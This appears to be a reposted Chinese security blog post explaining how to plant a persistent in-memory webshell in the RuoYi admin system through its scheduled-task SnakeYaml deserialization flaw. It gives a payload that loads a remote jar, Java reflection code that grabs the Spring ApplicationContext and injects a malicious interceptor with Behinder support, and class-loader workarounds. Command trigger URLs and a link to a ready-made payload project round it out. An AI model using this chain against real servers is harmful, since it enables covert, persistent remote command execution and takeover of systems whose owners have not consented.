前言
前段时间有师傅在群里问“若依怎么利用 SnakeYaml 反序列化漏洞注入内存马”,当时觉得直接注入SpringBoot的Interceptor类内存马即可。但是后来发现事情没有那么简单,本篇博客用于记录自己踩的坑。
如果不想看分析可拉到最后,已给出可用 jar 包及构造使用的项目。
漏洞分析
这里简单看一下 RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。
漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法
系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod
方法来处理系统任务
首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数
然后判断实例名是否是带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName)
获得实例;
如果是的话,则使用 Class.forName(beanName).newInstance()
获得实例
最后调用 invokeMethod(SysJob sysJob)
方法实现方法的调用
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod
可以看到这里通过 getDeclaredMethod
获得了类的方法,然后通过反射执行方法。
当我们传入的类名为完全包名称,需要满足三个条件才能正常使用
-
具有无参构造方法
-
调用的方法需要是类自身声明的方法,不能是他的父类方法
-
构造方法和调用的方法均为 public
而 org.yaml.snakeyaml.Yaml
是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞,而 SnakeYaml 反序列化漏洞具体分析和利用方法,可以参考 Mi1k7ea 师傅的文章,这里就不多赘述。
以下测试我都使用一下payload,其他利用方法改改即可
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')
第一代马儿
首先我使用把 bitterzzZZ师傅写的马儿 的逻辑放到恶意类中,在获取上下文环境时就报错了,主要是因为这里的触发点为定时任务,触发点和Web服务不在同一个线程(大概是这个意思)
知道了原因就是解决问题了,主要思路是利用别的方法获得上下文环境,第一时间想到的是LandGrey师傅 利用 intercetor 注入 spring 内存 webshell 给出的另一种获得 ApplicationContext 的方法,通过反射获得 LiveBeansView
类的属性,通过这个属性值来获取 ApplicationContext 总可以了吧(而且版本也是符合的)
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
// 4. 获得 adaptedInterceptors 属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
更换代码后没啥问题,能够正常注入内存马,在此基础上加上了删除马儿和冰蝎逻辑后就上传到 GitHub,以为此事就此结束
第二代马儿
过了十来天,有师傅说我的马儿在 linux 系统下运行的 RuoYi 注入不进去,具体情况如下:
-
测试版本为 RUOYI-VUE 3.6
-
在 Windows 可注入内存马,但是自己打包的 jar 包不行
-
在 Linux 中无法注入内存马
看了一下RuoYi-VUE 3.6 和我测试版本 RuoYi 4.6 的 Spring Boot 和 Srping都是相同的,按理来说都一样才对
打包问题
首先要了一份他打包的 jar 包,发现 jar 包结构有点问题。前面那个是我使用 maven 打包,能够正常使用的 jar 包,是符合 SPI 机制的。而后面那个则是通过 Project Structure > Project Settsings > Aritifacts
打包的,把依赖也打包进来了,而关键的文件则没有在正确的位置。使用 maven 打包项目即可解决该问题
新的获得 ApplicationContext 方法
然后是在 linux 中无法使用的问题,通过查看报错信息可以了解到是在获得上下文环境时出现了问题
通过对比可以发现(左 linux 右 windows),在 linux 环境下 org.springframework.context.support.LiveBeansView
类 applicationContexts
属性中确实没有我们想要的值
找一下注册逻辑(左 linux 右 windows)发现在 linux 环境下 mbeanDomain
为 null,导致他不会把我们的 ApplicationContext 放入 applicationContexts
属性中
虽然不知道啥原因导致mbeanDomain
不同,但是估计得找一个新的方法获得ApplicationContext
我把这个问题丢给 r2师傅 后,他找了一会后给了我个在若依能够使用的方法
Field f = Thread.currentThread().getContextClassLoader().loadClass("com.ruoyi.common.utils.spring.SpringUtils").getDeclaredField("applicationContext");
f.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext)f.get(null);
他主要是通过 dump 内存后发现有个成色不错的类,正好符合我们的需求
在启动阶段会把 applicationContext 赋值到他的 applicationContext
属性中,且该属性被static
修饰
后面使用 java-object-searcher,也找到了合适的获得 ApplicationContext 方法
Field field = Thread.currentThread().getClass().getDeclaredField("runnable");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("qs");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
Map m = (Map) obj;
org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext)m.get("applicationContextKey");
修改之后就能用了
加载器问题
但是在此过程中,又有一个问题:
当时我在测试 linux 环境下时使用的是在 linux 下跑运行 ruoyi-admin.jar
(官方给的运行方法也是运行 jar 包),发现在 payload 运行到获取上下文前就抛出异常了,查了一遍发现是在继承HandlerInterceptorAdapter
时无法找到HandlerInterceptorAdapter
这个类,这就有点奇怪了,在加载过程中是正常的,在继承的时候就找不到了。
后来发现是加载器问题,可参考 深入Spring Boot:ClassLoader的继承关系和影响
在IDE里,直接run main函数
则Spring的ClassLoader直接是SystemClassLoader。ClassLoader的urls包含全部的jar和自己的target/classes以fat jar运行
执行应用的main函数的ClassLoader是
LaunchedURLClassLoader
,它的parent是SystemClassLoader
。并且
LaunchedURLClassLoader
的urls是 fat jar里的BOOT-INF/classes!
/
目录和BOOT-INF/lib
里的所有jar。
看一下 HandlerInterceptor
和 HandlerInterceptorAdapter
存在于 spring-webmvc-5.2.12.RELEASE.jar
,存放于 BOOT-INF/lib
下。
当我们以fat jar运行时,使用的是 LaunchedURLClassLoader
,所以在程序运行过程中是能够找到该类的
那为什么我们的恶意类去继承HandlerInterceptorAdapter
时找不到该类呢
这里大概看一下寻找 HandlerInterceptorAdapter
的过程
可以看到,这里使用的是 URLClassLoader
作为类加载器
根据双亲委派模型会去引导类加载器和扩展类加载器找该类,这肯定是找不到的,然后回到 AppClassLoader 来加载类,这里只有一个 ruoyi-admin.jar
包,找不到 HandlerInterceptorAdapter
最后回到 URLClassLoader
,他会去我们我们的恶意 jar 包找,这也是找不到的,最后只能抛出 NoClassDefFoundError
而 LaunchedURLClassLoader
中则会去 spring-webmvc.jar
中找到我们需要的类
我们使用 LaunchedURLClassLoader
来加载这个类即可,详见 Github
以上加载器继承关系如下
总结
至此所有发现的问题已解决,这里总结一下以上比较坑的点:
-
反序列化点在定时任务,和以往的在 Web 服务中不同
-
windows 和 linux 使用 idea 启动项目时有一些参数值是不一样的,在 windows 中会把 applicationContext 注册到
org.springframework.context.support.LiveBeansView
的applicationContexts
中,而 linux 环境下则不会 -
以 fat jar 运行时使用的是
LaunchedURLClassLoader
,而在 Yaml 中使用URLClassloader
来加载类,导致 Yaml 加载类过程中找不到 spring 包里的类。
项目地址:https://github.com/lz2y/yaml-payload-for-ruoyi
此外,这里也记录一下其他比较坑的点
在实现冰蝎逻辑后,在测试的时候发现没法触发,后来发现是因为我主页测试的,如果在未登录情况下会跳转到 登陆界面,解决方法是带上cookie使用冰蝎或者直接在登陆界面触发:/login?cmd=1
(添加一个 cmd != null 是防止影响其他业务,也可自行修改)
else if (cmd != null && request.getMethod().equals("POST")){ // for rebeyond
// 冰蝎的逻辑
}
在 ruoyi-vue 前后端分离版本中,在前端传参后台可能接收不到参数值,比较好的方法就是直接在后端传值
或者从前端使用api http://localhost/dev-api/?cmd=whoami
在 ruoyi-vue 前后端分离版本中,在使用冰蝎的时候会有点问题,报错如下图。具体原因和解决方案还未清楚,知道的大佬也请指教
来源:先知
注:如有侵权请联系删除
欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)
最好的状态是未来可期。
原文始发于微信公众号(衡阳信安):RuoYi 可用内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论